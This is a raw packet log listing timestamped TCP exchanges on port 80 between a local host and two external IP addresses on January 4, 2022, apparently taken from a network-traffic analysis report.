Jan 4, 2022 19:34:05.328730106 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.345817089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345854998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345874071 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345896959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345915079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345932007 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.345938921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345953941 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.345962048 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.345983982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346004963 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346004963 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346029997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346030951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346051931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346074104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346084118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346097946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346118927 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346120119 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346149921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346152067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346172094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346194029 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346194029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346218109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346235991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346241951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346263885 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346263885 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346286058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346304893 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346307993 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346332073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346354008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346374989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346385956 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346399069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346419096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346421003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346445084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346445084 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346467018 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346487999 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346488953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346510887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346533060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346534014 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346556902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346560001 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346579075 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346600056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346601963 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346622944 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346642971 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346646070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346668005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346668959 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346689939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346710920 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346712112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346735001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346749067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346757889 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346780062 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346780062 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346802950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346821070 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346826077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346848011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346858025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346869946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346892118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346911907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346914053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346935987 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346954107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.346957922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346981049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.346982002 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347003937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347024918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347026110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347048044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347069025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347069979 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347100019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347104073 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347121954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347145081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347147942 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347166061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347188950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347192049 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347212076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347218990 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347233057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347254992 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347263098 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347275972 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347299099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347305059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347320080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347340107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347343922 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347363949 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347366095 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347387075 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347408056 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347408056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347430944 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347451925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347454071 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347474098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347477913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347496033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347517967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347522020 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347539902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347562075 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347563982 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347584009 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347599030 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347609043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347626925 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347631931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347652912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347661018 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347675085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347692013 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347697973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347719908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347728014 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347739935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347763062 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347769976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347785950 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347807884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347810984 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347831011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347836971 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347851038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347873926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347876072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347896099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347917080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347918034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347939014 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347945929 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.347961903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347984076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.347985983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348006010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348027945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348028898 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348048925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348056078 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348072052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348094940 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348097086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348136902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348475933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348495960 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348517895 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348519087 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348540068 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348563910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348592043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348598957 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348614931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348635912 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348637104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348659039 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348663092 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348680019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348700047 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348702908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348723888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348742008 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348747969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348767996 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348769903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348793030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348803043 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348815918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348835945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348838091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348875999 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348876953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348900080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348921061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348923922 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348942995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348964930 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.348965883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.348987103 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349009037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349009991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349031925 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349035025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349054098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349076986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349080086 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349098921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349121094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349122047 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349143982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349147081 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349164963 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349188089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349190950 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349210978 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349231958 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349236012 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349253893 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349266052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349277020 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349296093 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349298000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349318027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349337101 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349342108 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349363089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349379063 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349385977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349406958 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349410057 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349427938 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349450111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349451065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349471092 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349493980 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349497080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349514961 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349523067 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349538088 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349560976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349562883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349582911 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349605083 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349612951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349627018 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349636078 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349647999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349672079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349678993 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349693060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349715948 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349735022 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349744081 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349752903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349775076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349786043 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349797964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349817991 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349821091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349842072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349860907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349864006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349884033 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349885941 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349909067 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349929094 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349931002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349951982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349972010 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349975109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.349996090 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.349997044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350018978 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350038052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350040913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350063086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350070953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350084066 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350109100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350116014 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350130081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350152969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350162029 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350174904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350193977 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350197077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350219011 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350220919 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350241899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350264072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350274086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350298882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350300074 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350320101 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350342989 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350346088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350367069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350389957 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350389957 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.350408077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350425005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.350492954 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.368119955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368154049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368175983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368196964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368202925 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.368217945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368242025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368243933 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.368263006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.368293047 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.368486881 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.461795092 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.482278109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482315063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482335091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482355118 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482371092 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.482377052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482400894 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482408047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.482420921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482443094 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482454062 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.482465982 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.482490063 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.482515097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.483944893 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.484015942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502557993 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502597094 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502648115 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502671003 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502743959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502768040 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502790928 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502794981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502813101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502821922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:05.502835989 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:05.502859116 CET	80	49898	116.202.186.120	192.168.2.5
